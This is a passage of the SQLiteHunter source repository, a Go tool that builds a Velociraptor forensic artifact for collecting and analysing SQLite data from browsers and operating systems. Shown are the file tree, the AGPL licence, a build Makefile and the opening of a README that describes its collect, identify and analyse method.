├── .gitignore
├── LICENSE
├── Makefile
├── README.md
├── api
├── api.go
└── spec.go
├── bin
└── main.go
├── compile
├── artifact.go
├── compiler.go
└── utils.go
├── config.yaml
├── definitions
├── Apple_iMessageChat.yaml
├── ChromiumBrowser_AutofillProfiles.yaml
├── ChromiumBrowser_Bookmarks.yaml
├── ChromiumBrowser_Cookies.yaml
├── ChromiumBrowser_Extensions.yaml
├── ChromiumBrowser_Favicons.yaml
├── ChromiumBrowser_HistoryVisits.yaml
├── ChromiumBrowser_Media.yaml
├── ChromiumBrowser_NetworkActionPredictor.yaml
├── ChromiumBrowser_Notifications.yaml
├── ChromiumBrowser_OmniboxShortcuts.yaml
├── ChromiumBrowser_Sessions.yaml
├── ChromiumBrowser_TopSites.yaml
├── EdgeBrowser_Autofill.yaml
├── EdgeBrowser_NavigationHistory.yaml
├── Firefox_Bookmarks.yaml
├── Firefox_Cookies.yaml
├── Firefox_Downloads.yaml
├── Firefox_Favicons.yaml
├── Firefox_FormHistory.yaml
├── InternetExplorer_WebCacheV01.yaml
├── MacOS_Applications_Cache.yaml
├── MacOS_NetworkUsage.yaml
├── MacOS_Notes.yaml
├── MacOS_XProtect_Detections.yaml
├── Windows_ActivitiesCache.yaml
├── Windows_SearchService.yaml
├── globs.go
└── load.go
├── go.mod
├── go.sum
├── output
├── .keep
└── SQLiteHunter.yaml
├── test_files
├── Chrome
│ └── Preferences
├── Edge
│ └── WebAssistDatabase
└── Firefox
│ └── firefox.sqlite
├── testing
├── .gitignore
├── edge.go
├── fixtures
│ ├── TestArtifact.golden
│ └── TestEdgeWebAssistDatabase.golden
├── golden.go
├── sqlitehunter_test.go
├── test.config.yaml
└── testcases
│ ├── chrome_notifications.in.yaml
│ ├── chrome_notifications.out.yaml
│ ├── edge_webassist.in.yaml
│ └── edge_webassist.out.yaml
└── utils
└── json.go
/.gitignore:
--------------------------------------------------------------------------------
1 | velociraptor*
2 | sqlitehunter_compiler*
3 | datastore
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU AFFERO GENERAL PUBLIC LICENSE
2 | Version 3, 19 November 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU Affero General Public License is a free, copyleft license for
11 | software and other kinds of works, specifically designed to ensure
12 | cooperation with the community in the case of network server software.
13 |
14 | The licenses for most software and other practical works are designed
15 | to take away your freedom to share and change the works. By contrast,
16 | our General Public Licenses are intended to guarantee your freedom to
17 | share and change all versions of a program--to make sure it remains free
18 | software for all its users.
19 |
20 | When we speak of free software, we are referring to freedom, not
21 | price. Our General Public Licenses are designed to make sure that you
22 | have the freedom to distribute copies of free software (and charge for
23 | them if you wish), that you receive source code or can get it if you
24 | want it, that you can change the software or use pieces of it in new
25 | free programs, and that you know you can do these things.
26 |
27 | Developers that use our General Public Licenses protect your rights
28 | with two steps: (1) assert copyright on the software, and (2) offer
29 | you this License which gives you legal permission to copy, distribute
30 | and/or modify the software.
31 |
32 | A secondary benefit of defending all users' freedom is that
33 | improvements made in alternate versions of the program, if they
34 | receive widespread use, become available for other developers to
35 | incorporate. Many developers of free software are heartened and
36 | encouraged by the resulting cooperation. However, in the case of
37 | software used on network servers, this result may fail to come about.
38 | The GNU General Public License permits making a modified version and
39 | letting the public access it on a server without ever releasing its
40 | source code to the public.
41 |
42 | The GNU Affero General Public License is designed specifically to
43 | ensure that, in such cases, the modified source code becomes available
44 | to the community. It requires the operator of a network server to
45 | provide the source code of the modified version running there to the
46 | users of that server. Therefore, public use of a modified version, on
47 | a publicly accessible server, gives the public access to the source
48 | code of the modified version.
49 |
50 | An older license, called the Affero General Public License and
51 | published by Affero, was designed to accomplish similar goals. This is
52 | a different license, not a version of the Affero GPL, but Affero has
53 | released a new version of the Affero GPL which permits relicensing under
54 | this license.
55 |
56 | The precise terms and conditions for copying, distribution and
57 | modification follow.
58 |
59 | TERMS AND CONDITIONS
60 |
61 | 0. Definitions.
62 |
63 | "This License" refers to version 3 of the GNU Affero General Public License.
64 |
65 | "Copyright" also means copyright-like laws that apply to other kinds of
66 | works, such as semiconductor masks.
67 |
68 | "The Program" refers to any copyrightable work licensed under this
69 | License. Each licensee is addressed as "you". "Licensees" and
70 | "recipients" may be individuals or organizations.
71 |
72 | To "modify" a work means to copy from or adapt all or part of the work
73 | in a fashion requiring copyright permission, other than the making of an
74 | exact copy. The resulting work is called a "modified version" of the
75 | earlier work or a work "based on" the earlier work.
76 |
77 | A "covered work" means either the unmodified Program or a work based
78 | on the Program.
79 |
80 | To "propagate" a work means to do anything with it that, without
81 | permission, would make you directly or secondarily liable for
82 | infringement under applicable copyright law, except executing it on a
83 | computer or modifying a private copy. Propagation includes copying,
84 | distribution (with or without modification), making available to the
85 | public, and in some countries other activities as well.
86 |
87 | To "convey" a work means any kind of propagation that enables other
88 | parties to make or receive copies. Mere interaction with a user through
89 | a computer network, with no transfer of a copy, is not conveying.
90 |
91 | An interactive user interface displays "Appropriate Legal Notices"
92 | to the extent that it includes a convenient and prominently visible
93 | feature that (1) displays an appropriate copyright notice, and (2)
94 | tells the user that there is no warranty for the work (except to the
95 | extent that warranties are provided), that licensees may convey the
96 | work under this License, and how to view a copy of this License. If
97 | the interface presents a list of user commands or options, such as a
98 | menu, a prominent item in the list meets this criterion.
99 |
100 | 1. Source Code.
101 |
102 | The "source code" for a work means the preferred form of the work
103 | for making modifications to it. "Object code" means any non-source
104 | form of a work.
105 |
106 | A "Standard Interface" means an interface that either is an official
107 | standard defined by a recognized standards body, or, in the case of
108 | interfaces specified for a particular programming language, one that
109 | is widely used among developers working in that language.
110 |
111 | The "System Libraries" of an executable work include anything, other
112 | than the work as a whole, that (a) is included in the normal form of
113 | packaging a Major Component, but which is not part of that Major
114 | Component, and (b) serves only to enable use of the work with that
115 | Major Component, or to implement a Standard Interface for which an
116 | implementation is available to the public in source code form. A
117 | "Major Component", in this context, means a major essential component
118 | (kernel, window system, and so on) of the specific operating system
119 | (if any) on which the executable work runs, or a compiler used to
120 | produce the work, or an object code interpreter used to run it.
121 |
122 | The "Corresponding Source" for a work in object code form means all
123 | the source code needed to generate, install, and (for an executable
124 | work) run the object code and to modify the work, including scripts to
125 | control those activities. However, it does not include the work's
126 | System Libraries, or general-purpose tools or generally available free
127 | programs which are used unmodified in performing those activities but
128 | which are not part of the work. For example, Corresponding Source
129 | includes interface definition files associated with source files for
130 | the work, and the source code for shared libraries and dynamically
131 | linked subprograms that the work is specifically designed to require,
132 | such as by intimate data communication or control flow between those
133 | subprograms and other parts of the work.
134 |
135 | The Corresponding Source need not include anything that users
136 | can regenerate automatically from other parts of the Corresponding
137 | Source.
138 |
139 | The Corresponding Source for a work in source code form is that
140 | same work.
141 |
142 | 2. Basic Permissions.
143 |
144 | All rights granted under this License are granted for the term of
145 | copyright on the Program, and are irrevocable provided the stated
146 | conditions are met. This License explicitly affirms your unlimited
147 | permission to run the unmodified Program. The output from running a
148 | covered work is covered by this License only if the output, given its
149 | content, constitutes a covered work. This License acknowledges your
150 | rights of fair use or other equivalent, as provided by copyright law.
151 |
152 | You may make, run and propagate covered works that you do not
153 | convey, without conditions so long as your license otherwise remains
154 | in force. You may convey covered works to others for the sole purpose
155 | of having them make modifications exclusively for you, or provide you
156 | with facilities for running those works, provided that you comply with
157 | the terms of this License in conveying all material for which you do
158 | not control copyright. Those thus making or running the covered works
159 | for you must do so exclusively on your behalf, under your direction
160 | and control, on terms that prohibit them from making any copies of
161 | your copyrighted material outside their relationship with you.
162 |
163 | Conveying under any other circumstances is permitted solely under
164 | the conditions stated below. Sublicensing is not allowed; section 10
165 | makes it unnecessary.
166 |
167 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
168 |
169 | No covered work shall be deemed part of an effective technological
170 | measure under any applicable law fulfilling obligations under article
171 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
172 | similar laws prohibiting or restricting circumvention of such
173 | measures.
174 |
175 | When you convey a covered work, you waive any legal power to forbid
176 | circumvention of technological measures to the extent such circumvention
177 | is effected by exercising rights under this License with respect to
178 | the covered work, and you disclaim any intention to limit operation or
179 | modification of the work as a means of enforcing, against the work's
180 | users, your or third parties' legal rights to forbid circumvention of
181 | technological measures.
182 |
183 | 4. Conveying Verbatim Copies.
184 |
185 | You may convey verbatim copies of the Program's source code as you
186 | receive it, in any medium, provided that you conspicuously and
187 | appropriately publish on each copy an appropriate copyright notice;
188 | keep intact all notices stating that this License and any
189 | non-permissive terms added in accord with section 7 apply to the code;
190 | keep intact all notices of the absence of any warranty; and give all
191 | recipients a copy of this License along with the Program.
192 |
193 | You may charge any price or no price for each copy that you convey,
194 | and you may offer support or warranty protection for a fee.
195 |
196 | 5. Conveying Modified Source Versions.
197 |
198 | You may convey a work based on the Program, or the modifications to
199 | produce it from the Program, in the form of source code under the
200 | terms of section 4, provided that you also meet all of these conditions:
201 |
202 | a) The work must carry prominent notices stating that you modified
203 | it, and giving a relevant date.
204 |
205 | b) The work must carry prominent notices stating that it is
206 | released under this License and any conditions added under section
207 | 7. This requirement modifies the requirement in section 4 to
208 | "keep intact all notices".
209 |
210 | c) You must license the entire work, as a whole, under this
211 | License to anyone who comes into possession of a copy. This
212 | License will therefore apply, along with any applicable section 7
213 | additional terms, to the whole of the work, and all its parts,
214 | regardless of how they are packaged. This License gives no
215 | permission to license the work in any other way, but it does not
216 | invalidate such permission if you have separately received it.
217 |
218 | d) If the work has interactive user interfaces, each must display
219 | Appropriate Legal Notices; however, if the Program has interactive
220 | interfaces that do not display Appropriate Legal Notices, your
221 | work need not make them do so.
222 |
223 | A compilation of a covered work with other separate and independent
224 | works, which are not by their nature extensions of the covered work,
225 | and which are not combined with it such as to form a larger program,
226 | in or on a volume of a storage or distribution medium, is called an
227 | "aggregate" if the compilation and its resulting copyright are not
228 | used to limit the access or legal rights of the compilation's users
229 | beyond what the individual works permit. Inclusion of a covered work
230 | in an aggregate does not cause this License to apply to the other
231 | parts of the aggregate.
232 |
233 | 6. Conveying Non-Source Forms.
234 |
235 | You may convey a covered work in object code form under the terms
236 | of sections 4 and 5, provided that you also convey the
237 | machine-readable Corresponding Source under the terms of this License,
238 | in one of these ways:
239 |
240 | a) Convey the object code in, or embodied in, a physical product
241 | (including a physical distribution medium), accompanied by the
242 | Corresponding Source fixed on a durable physical medium
243 | customarily used for software interchange.
244 |
245 | b) Convey the object code in, or embodied in, a physical product
246 | (including a physical distribution medium), accompanied by a
247 | written offer, valid for at least three years and valid for as
248 | long as you offer spare parts or customer support for that product
249 | model, to give anyone who possesses the object code either (1) a
250 | copy of the Corresponding Source for all the software in the
251 | product that is covered by this License, on a durable physical
252 | medium customarily used for software interchange, for a price no
253 | more than your reasonable cost of physically performing this
254 | conveying of source, or (2) access to copy the
255 | Corresponding Source from a network server at no charge.
256 |
257 | c) Convey individual copies of the object code with a copy of the
258 | written offer to provide the Corresponding Source. This
259 | alternative is allowed only occasionally and noncommercially, and
260 | only if you received the object code with such an offer, in accord
261 | with subsection 6b.
262 |
263 | d) Convey the object code by offering access from a designated
264 | place (gratis or for a charge), and offer equivalent access to the
265 | Corresponding Source in the same way through the same place at no
266 | further charge. You need not require recipients to copy the
267 | Corresponding Source along with the object code. If the place to
268 | copy the object code is a network server, the Corresponding Source
269 | may be on a different server (operated by you or a third party)
270 | that supports equivalent copying facilities, provided you maintain
271 | clear directions next to the object code saying where to find the
272 | Corresponding Source. Regardless of what server hosts the
273 | Corresponding Source, you remain obligated to ensure that it is
274 | available for as long as needed to satisfy these requirements.
275 |
276 | e) Convey the object code using peer-to-peer transmission, provided
277 | you inform other peers where the object code and Corresponding
278 | Source of the work are being offered to the general public at no
279 | charge under subsection 6d.
280 |
281 | A separable portion of the object code, whose source code is excluded
282 | from the Corresponding Source as a System Library, need not be
283 | included in conveying the object code work.
284 |
285 | A "User Product" is either (1) a "consumer product", which means any
286 | tangible personal property which is normally used for personal, family,
287 | or household purposes, or (2) anything designed or sold for incorporation
288 | into a dwelling. In determining whether a product is a consumer product,
289 | doubtful cases shall be resolved in favor of coverage. For a particular
290 | product received by a particular user, "normally used" refers to a
291 | typical or common use of that class of product, regardless of the status
292 | of the particular user or of the way in which the particular user
293 | actually uses, or expects or is expected to use, the product. A product
294 | is a consumer product regardless of whether the product has substantial
295 | commercial, industrial or non-consumer uses, unless such uses represent
296 | the only significant mode of use of the product.
297 |
298 | "Installation Information" for a User Product means any methods,
299 | procedures, authorization keys, or other information required to install
300 | and execute modified versions of a covered work in that User Product from
301 | a modified version of its Corresponding Source. The information must
302 | suffice to ensure that the continued functioning of the modified object
303 | code is in no case prevented or interfered with solely because
304 | modification has been made.
305 |
306 | If you convey an object code work under this section in, or with, or
307 | specifically for use in, a User Product, and the conveying occurs as
308 | part of a transaction in which the right of possession and use of the
309 | User Product is transferred to the recipient in perpetuity or for a
310 | fixed term (regardless of how the transaction is characterized), the
311 | Corresponding Source conveyed under this section must be accompanied
312 | by the Installation Information. But this requirement does not apply
313 | if neither you nor any third party retains the ability to install
314 | modified object code on the User Product (for example, the work has
315 | been installed in ROM).
316 |
317 | The requirement to provide Installation Information does not include a
318 | requirement to continue to provide support service, warranty, or updates
319 | for a work that has been modified or installed by the recipient, or for
320 | the User Product in which it has been modified or installed. Access to a
321 | network may be denied when the modification itself materially and
322 | adversely affects the operation of the network or violates the rules and
323 | protocols for communication across the network.
324 |
325 | Corresponding Source conveyed, and Installation Information provided,
326 | in accord with this section must be in a format that is publicly
327 | documented (and with an implementation available to the public in
328 | source code form), and must require no special password or key for
329 | unpacking, reading or copying.
330 |
331 | 7. Additional Terms.
332 |
333 | "Additional permissions" are terms that supplement the terms of this
334 | License by making exceptions from one or more of its conditions.
335 | Additional permissions that are applicable to the entire Program shall
336 | be treated as though they were included in this License, to the extent
337 | that they are valid under applicable law. If additional permissions
338 | apply only to part of the Program, that part may be used separately
339 | under those permissions, but the entire Program remains governed by
340 | this License without regard to the additional permissions.
341 |
342 | When you convey a copy of a covered work, you may at your option
343 | remove any additional permissions from that copy, or from any part of
344 | it. (Additional permissions may be written to require their own
345 | removal in certain cases when you modify the work.) You may place
346 | additional permissions on material, added by you to a covered work,
347 | for which you have or can give appropriate copyright permission.
348 |
349 | Notwithstanding any other provision of this License, for material you
350 | add to a covered work, you may (if authorized by the copyright holders of
351 | that material) supplement the terms of this License with terms:
352 |
353 | a) Disclaiming warranty or limiting liability differently from the
354 | terms of sections 15 and 16 of this License; or
355 |
356 | b) Requiring preservation of specified reasonable legal notices or
357 | author attributions in that material or in the Appropriate Legal
358 | Notices displayed by works containing it; or
359 |
360 | c) Prohibiting misrepresentation of the origin of that material, or
361 | requiring that modified versions of such material be marked in
362 | reasonable ways as different from the original version; or
363 |
364 | d) Limiting the use for publicity purposes of names of licensors or
365 | authors of the material; or
366 |
367 | e) Declining to grant rights under trademark law for use of some
368 | trade names, trademarks, or service marks; or
369 |
370 | f) Requiring indemnification of licensors and authors of that
371 | material by anyone who conveys the material (or modified versions of
372 | it) with contractual assumptions of liability to the recipient, for
373 | any liability that these contractual assumptions directly impose on
374 | those licensors and authors.
375 |
376 | All other non-permissive additional terms are considered "further
377 | restrictions" within the meaning of section 10. If the Program as you
378 | received it, or any part of it, contains a notice stating that it is
379 | governed by this License along with a term that is a further
380 | restriction, you may remove that term. If a license document contains
381 | a further restriction but permits relicensing or conveying under this
382 | License, you may add to a covered work material governed by the terms
383 | of that license document, provided that the further restriction does
384 | not survive such relicensing or conveying.
385 |
386 | If you add terms to a covered work in accord with this section, you
387 | must place, in the relevant source files, a statement of the
388 | additional terms that apply to those files, or a notice indicating
389 | where to find the applicable terms.
390 |
391 | Additional terms, permissive or non-permissive, may be stated in the
392 | form of a separately written license, or stated as exceptions;
393 | the above requirements apply either way.
394 |
395 | 8. Termination.
396 |
397 | You may not propagate or modify a covered work except as expressly
398 | provided under this License. Any attempt otherwise to propagate or
399 | modify it is void, and will automatically terminate your rights under
400 | this License (including any patent licenses granted under the third
401 | paragraph of section 11).
402 |
403 | However, if you cease all violation of this License, then your
404 | license from a particular copyright holder is reinstated (a)
405 | provisionally, unless and until the copyright holder explicitly and
406 | finally terminates your license, and (b) permanently, if the copyright
407 | holder fails to notify you of the violation by some reasonable means
408 | prior to 60 days after the cessation.
409 |
410 | Moreover, your license from a particular copyright holder is
411 | reinstated permanently if the copyright holder notifies you of the
412 | violation by some reasonable means, this is the first time you have
413 | received notice of violation of this License (for any work) from that
414 | copyright holder, and you cure the violation prior to 30 days after
415 | your receipt of the notice.
416 |
417 | Termination of your rights under this section does not terminate the
418 | licenses of parties who have received copies or rights from you under
419 | this License. If your rights have been terminated and not permanently
420 | reinstated, you do not qualify to receive new licenses for the same
421 | material under section 10.
422 |
423 | 9. Acceptance Not Required for Having Copies.
424 |
425 | You are not required to accept this License in order to receive or
426 | run a copy of the Program. Ancillary propagation of a covered work
427 | occurring solely as a consequence of using peer-to-peer transmission
428 | to receive a copy likewise does not require acceptance. However,
429 | nothing other than this License grants you permission to propagate or
430 | modify any covered work. These actions infringe copyright if you do
431 | not accept this License. Therefore, by modifying or propagating a
432 | covered work, you indicate your acceptance of this License to do so.
433 |
434 | 10. Automatic Licensing of Downstream Recipients.
435 |
436 | Each time you convey a covered work, the recipient automatically
437 | receives a license from the original licensors, to run, modify and
438 | propagate that work, subject to this License. You are not responsible
439 | for enforcing compliance by third parties with this License.
440 |
441 | An "entity transaction" is a transaction transferring control of an
442 | organization, or substantially all assets of one, or subdividing an
443 | organization, or merging organizations. If propagation of a covered
444 | work results from an entity transaction, each party to that
445 | transaction who receives a copy of the work also receives whatever
446 | licenses to the work the party's predecessor in interest had or could
447 | give under the previous paragraph, plus a right to possession of the
448 | Corresponding Source of the work from the predecessor in interest, if
449 | the predecessor has it or can get it with reasonable efforts.
450 |
451 | You may not impose any further restrictions on the exercise of the
452 | rights granted or affirmed under this License. For example, you may
453 | not impose a license fee, royalty, or other charge for exercise of
454 | rights granted under this License, and you may not initiate litigation
455 | (including a cross-claim or counterclaim in a lawsuit) alleging that
456 | any patent claim is infringed by making, using, selling, offering for
457 | sale, or importing the Program or any portion of it.
458 |
459 | 11. Patents.
460 |
461 | A "contributor" is a copyright holder who authorizes use under this
462 | License of the Program or a work on which the Program is based. The
463 | work thus licensed is called the contributor's "contributor version".
464 |
465 | A contributor's "essential patent claims" are all patent claims
466 | owned or controlled by the contributor, whether already acquired or
467 | hereafter acquired, that would be infringed by some manner, permitted
468 | by this License, of making, using, or selling its contributor version,
469 | but do not include claims that would be infringed only as a
470 | consequence of further modification of the contributor version. For
471 | purposes of this definition, "control" includes the right to grant
472 | patent sublicenses in a manner consistent with the requirements of
473 | this License.
474 |
475 | Each contributor grants you a non-exclusive, worldwide, royalty-free
476 | patent license under the contributor's essential patent claims, to
477 | make, use, sell, offer for sale, import and otherwise run, modify and
478 | propagate the contents of its contributor version.
479 |
480 | In the following three paragraphs, a "patent license" is any express
481 | agreement or commitment, however denominated, not to enforce a patent
482 | (such as an express permission to practice a patent or covenant not to
483 | sue for patent infringement). To "grant" such a patent license to a
484 | party means to make such an agreement or commitment not to enforce a
485 | patent against the party.
486 |
487 | If you convey a covered work, knowingly relying on a patent license,
488 | and the Corresponding Source of the work is not available for anyone
489 | to copy, free of charge and under the terms of this License, through a
490 | publicly available network server or other readily accessible means,
491 | then you must either (1) cause the Corresponding Source to be so
492 | available, or (2) arrange to deprive yourself of the benefit of the
493 | patent license for this particular work, or (3) arrange, in a manner
494 | consistent with the requirements of this License, to extend the patent
495 | license to downstream recipients. "Knowingly relying" means you have
496 | actual knowledge that, but for the patent license, your conveying the
497 | covered work in a country, or your recipient's use of the covered work
498 | in a country, would infringe one or more identifiable patents in that
499 | country that you have reason to believe are valid.
500 |
501 | If, pursuant to or in connection with a single transaction or
502 | arrangement, you convey, or propagate by procuring conveyance of, a
503 | covered work, and grant a patent license to some of the parties
504 | receiving the covered work authorizing them to use, propagate, modify
505 | or convey a specific copy of the covered work, then the patent license
506 | you grant is automatically extended to all recipients of the covered
507 | work and works based on it.
508 |
509 | A patent license is "discriminatory" if it does not include within
510 | the scope of its coverage, prohibits the exercise of, or is
511 | conditioned on the non-exercise of one or more of the rights that are
512 | specifically granted under this License. You may not convey a covered
513 | work if you are a party to an arrangement with a third party that is
514 | in the business of distributing software, under which you make payment
515 | to the third party based on the extent of your activity of conveying
516 | the work, and under which the third party grants, to any of the
517 | parties who would receive the covered work from you, a discriminatory
518 | patent license (a) in connection with copies of the covered work
519 | conveyed by you (or copies made from those copies), or (b) primarily
520 | for and in connection with specific products or compilations that
521 | contain the covered work, unless you entered into that arrangement,
522 | or that patent license was granted, prior to 28 March 2007.
523 |
524 | Nothing in this License shall be construed as excluding or limiting
525 | any implied license or other defenses to infringement that may
526 | otherwise be available to you under applicable patent law.
527 |
528 | 12. No Surrender of Others' Freedom.
529 |
530 | If conditions are imposed on you (whether by court order, agreement or
531 | otherwise) that contradict the conditions of this License, they do not
532 | excuse you from the conditions of this License. If you cannot convey a
533 | covered work so as to satisfy simultaneously your obligations under this
534 | License and any other pertinent obligations, then as a consequence you may
535 | not convey it at all. For example, if you agree to terms that obligate you
536 | to collect a royalty for further conveying from those to whom you convey
537 | the Program, the only way you could satisfy both those terms and this
538 | License would be to refrain entirely from conveying the Program.
539 |
540 | 13. Remote Network Interaction; Use with the GNU General Public License.
541 |
542 | Notwithstanding any other provision of this License, if you modify the
543 | Program, your modified version must prominently offer all users
544 | interacting with it remotely through a computer network (if your version
545 | supports such interaction) an opportunity to receive the Corresponding
546 | Source of your version by providing access to the Corresponding Source
547 | from a network server at no charge, through some standard or customary
548 | means of facilitating copying of software. This Corresponding Source
549 | shall include the Corresponding Source for any work covered by version 3
550 | of the GNU General Public License that is incorporated pursuant to the
551 | following paragraph.
552 |
553 | Notwithstanding any other provision of this License, you have
554 | permission to link or combine any covered work with a work licensed
555 | under version 3 of the GNU General Public License into a single
556 | combined work, and to convey the resulting work. The terms of this
557 | License will continue to apply to the part which is the covered work,
558 | but the work with which it is combined will remain governed by version
559 | 3 of the GNU General Public License.
560 |
561 | 14. Revised Versions of this License.
562 |
563 | The Free Software Foundation may publish revised and/or new versions of
564 | the GNU Affero General Public License from time to time. Such new versions
565 | will be similar in spirit to the present version, but may differ in detail to
566 | address new problems or concerns.
567 |
568 | Each version is given a distinguishing version number. If the
569 | Program specifies that a certain numbered version of the GNU Affero General
570 | Public License "or any later version" applies to it, you have the
571 | option of following the terms and conditions either of that numbered
572 | version or of any later version published by the Free Software
573 | Foundation. If the Program does not specify a version number of the
574 | GNU Affero General Public License, you may choose any version ever published
575 | by the Free Software Foundation.
576 |
577 | If the Program specifies that a proxy can decide which future
578 | versions of the GNU Affero General Public License can be used, that proxy's
579 | public statement of acceptance of a version permanently authorizes you
580 | to choose that version for the Program.
581 |
582 | Later license versions may give you additional or different
583 | permissions. However, no additional obligations are imposed on any
584 | author or copyright holder as a result of your choosing to follow a
585 | later version.
586 |
587 | 15. Disclaimer of Warranty.
588 |
589 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
590 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
591 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
592 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
593 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
594 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
595 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
596 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
597 |
598 | 16. Limitation of Liability.
599 |
600 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
601 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
602 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
603 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
604 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
605 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
606 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
607 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
608 | SUCH DAMAGES.
609 |
610 | 17. Interpretation of Sections 15 and 16.
611 |
612 | If the disclaimer of warranty and limitation of liability provided
613 | above cannot be given local legal effect according to their terms,
614 | reviewing courts shall apply local law that most closely approximates
615 | an absolute waiver of all civil liability in connection with the
616 | Program, unless a warranty or assumption of liability accompanies a
617 | copy of the Program in return for a fee.
618 |
619 | END OF TERMS AND CONDITIONS
620 |
621 | How to Apply These Terms to Your New Programs
622 |
623 | If you develop a new program, and you want it to be of the greatest
624 | possible use to the public, the best way to achieve this is to make it
625 | free software which everyone can redistribute and change under these terms.
626 |
627 | To do so, attach the following notices to the program. It is safest
628 | to attach them to the start of each source file to most effectively
629 | state the exclusion of warranty; and each file should have at least
630 | the "copyright" line and a pointer to where the full notice is found.
631 |
632 |
633 | Copyright (C)
634 |
635 | This program is free software: you can redistribute it and/or modify
636 | it under the terms of the GNU Affero General Public License as published
637 | by the Free Software Foundation, either version 3 of the License, or
638 | (at your option) any later version.
639 |
640 | This program is distributed in the hope that it will be useful,
641 | but WITHOUT ANY WARRANTY; without even the implied warranty of
642 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
643 | GNU Affero General Public License for more details.
644 |
645 | You should have received a copy of the GNU Affero General Public License
646 | along with this program. If not, see .
647 |
648 | Also add information on how to contact you by electronic and paper mail.
649 |
650 | If your software can interact with users remotely through a computer
651 | network, you should also make sure that it provides a way for users to
652 | get its source. For example, if your program is a web application, its
653 | interface could display a "Source" link that leads users to an archive
654 | of the code. There are many ways you could offer source, and different
655 | solutions will be better for different programs; see section 13 for the
656 | specific requirements.
657 |
658 | You should also get your employer (if you work as a programmer) or school,
659 | if any, to sign a "copyright disclaimer" for the program, if necessary.
660 | For more information on this, and how to apply and follow the GNU AGPL, see
661 | .
662 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | all: build windows
2 |
3 | build:
4 | go build -o sqlitehunter_compiler ./bin/*.go
5 |
6 | windows:
7 | GOOS=windows GOARCH=amd64 \
8 | go build -o sqlitehunter_compiler.exe ./bin/*.go
9 |
10 | compile: FORCE
11 | ./sqlitehunter_compiler -config ./config.yaml -definition_directory ./definitions > output/SQLiteHunter.yaml
12 |
13 | golden: compile
14 | ./testing/velociraptor.bin --definitions ./output --config ./testing/test.config.yaml golden --env testFiles=`pwd`/test_files ./testing/testcases -v --filter=${GOLDEN}
15 |
16 |
17 | FORCE:
18 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # SQLite Hunter
2 |
3 | This repository maintains the source for the
4 | `Generic.Forensic.SQLiteHunter` VQL artifact. This artifact is
5 | designed to be an efficient and mostly automated artifact to analyze
6 | and collect SQLite based artifacts from various applications on the
7 | endpoint.
8 |
9 | The produced artifact is self contained and can be loaded into
10 | Velociraptor (https://docs.velociraptor.app) to hunt quickly and
11 | efficiently across a large number of endpoints.
12 |
13 | SQLite has become the de-facto standard for storing application data,
14 | in many types of applications:
15 |
16 | - Web Browsers, e.g. Chrome, Firefox, Opera, Edge
17 | - Operating Systems
18 | - Various applications, such as iMessage, TCC etc
19 |
20 | ## How do we hunt for SQLite files?
21 |
22 | Compiling this repository will produce a single artifact called
23 | `Generic.Forensic.SQLiteHunter` with multiple sources. Each artifact
24 | source targets a single aspect of a single application and is applied
25 | to a single SQLite file.
26 |
27 | Since SQLite files can be used for many different applications we use
28 | three phases; Collection of SQLite files, Identification of the SQLite
29 | application based on the file, and finally analysis of the file:
30 |
31 | 1. In the first phase we collect prospective SQLite files for the
32 | desired targets based on glob expressions to quickly locate the
33 | usual places these are stored. For example, looking for Chrome
34 | Browser History files typically these are stored in
35 | `C:\Users\*\AppData\{Roaming,Local}\Google\Chrome\User Data`.
36 |
37 | By employing targeted glob expressions we can quickly locate
38 | relevant files. However the user can also provide a generic glob
39 | expression for us to use other files (e.g. files collected by some
40 | other means off a different system).
41 |
42 | 2. Since different applications use SQLite in different ways, we want
43 | to have specialized treatment for each application type -
44 | extracting relevant data and potentially enriching it for enhanced
45 | analysis.
46 |
47 | Looking at the prospective files found in stage 1 we need to
48 | classify each file to a specific type. Each artifact source targets
49 | a specific application and SQLite file. In order to identify the
50 | file the source runs the `SQLiteIdentifyQuery` on the SQLite file
51 | (as described below).
52 |
53 | In the common mode we can use the filename itself to quickly
54 | classify the file this is a shortcut to speed things up. If the
55 | files could have been renamed, you can specify `MatchFilename` to
56 | be false in which case only the `SQLiteIdentifyQuery` method will be
57 | used (this will be slower).
58 |
59 | 3. Once a file is identified as belonging to a particular application,
60 | the artifact source can run the specified SQL on the file. Since
61 | pure SQL is very limited in the type of data it can use and it is
62 | also harder to use, the output is enriched further via a VQL query.
63 |
64 | Being able to apply VQL to the output of the SQL query makes
65 | crafting the SQL much easier (for example timestamp conversions are
66 | much easier in VQL than SQL). Additionally the VQL can be used to
